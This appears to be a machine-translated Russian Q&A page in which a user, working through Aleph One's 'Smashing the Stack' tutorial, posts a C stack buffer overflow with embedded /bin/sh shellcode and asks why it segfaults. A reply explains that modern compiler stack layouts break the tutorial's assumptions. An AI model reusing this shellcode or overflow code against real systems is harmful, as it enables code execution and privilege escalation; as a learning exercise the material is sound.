2016-11-26 2 views
0

Я делал тест переполнения буфера, в основном, я прочитал от Aleph One-х Smashing The Stack For Fun And Profit.как написать переполнение буфера?

#include<string.h> 
#include<stdio.h> 

char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0 
\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x8\x8d\x53\x0c\xcd\x80\xe8 
\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58 
\x59\x59\x59\x59"; 

char large_str[104]; /*length equals to buffer + i + ptr + return_address*/ 

int main(){ 
    char buffer[56];/*same length as shellcode*/ 
    int i; 
    long *ptr=(long*)large_str; 

    memset(&large_str,0,104); /*initialize large_str*/ 
    for(i=0;i<24;i++) 
      *(ptr+i)=(int)buffer; /*overwrite return address*/ 

    for(i=0;i<strlen(shellcode);i++) 
      large_str[i]=shellcode[i]; 



    strcpy(buffer,large_str); /*doing overflow*/ 
    return 0; 
} 

делает

$gcc -o overflow -fno-stack-protector overflow.c 
$./overflow 
segmentation fault (core dumped) 

Перед тем как сделать это, я повернулась случайный адрес от уже. Кроме того, я проверил мой шеллкода в программе:

int main(int argc, char **argv) 
{ 
    int (*func)(); 
    func=(int(*)())code; 
    (int)(*func)(); 
} 

это работает. поэтому я не знаю, что не так с моим кодом переполнения буфера, есть ли у кого есть опыт работы с лабораторией переполнения буфера? Я отлаживал gdb, кажется, что я не переписывал адрес возврата должным образом.

+0

удалены не связанные ядра и стеки переполнения тегов. не путайте понятия! –

ответ

2

Ваш код делает предположения о том, где будут находиться вещи, такие как buffer.

И что действительно для набора компиляторов в 1996 году, с момента, когда ваша статья, просто не соответствует действительности больше, лет спустя в 2016 году

Это не имеет ничего общего с защитой стека, или рандомизация размещения адреса. Просто нет причин, по которым компилятор должен поместить указатель обратного адреса сразу после вашего large_str - компилятор не является глупым и видит, что buffer выделяется в main, так или иначе, поэтому он просто выбирает любое место, которое кажется удобным в памяти для хранения buffer. И нет абсолютно никаких оснований полагать, что это

  1. на стеке, чтобы начать с (зачем это? Компилятор знает его всю жизнь, так что это может также быть в любом месте), см stack and heap are not what you think.
  2. Макет памяти будет указателем возврата - large_str - все остальное. Есть ничего, который определяет это. И не должно быть. Это выбор, который должен сделать компилятор, и, честно говоря, он, вероятно, не сделает того же выбора, что и вы.
+0

Я не совсем понимаю, я отслеживал указатель на стек в gdb, обратный адрес хранится в 0x7fffffffdeb0, затем базовый указатель кадра в 0x7fffffffdea8, затем i в 0x7fffffffde9c, затем ptr в 0x7fffffffde90, наконец, буфер в 0x7fffffffde50. – JiangFeng

+0

ну, но вы говорите себе, что gdb показывает, что '0x7fffffffdeb0' не перезаписывается должным образом. См. Противоречие здесь? –

+0

Вот почему я установил свой размер большой_буфт и буфер. На самом деле я просто хочу глубоко понять, как работает программа и ядро, делая это переполнение буфера. Есть ли у вас другие рекомендации? Спасибо огромное! – JiangFeng

Смежные вопросы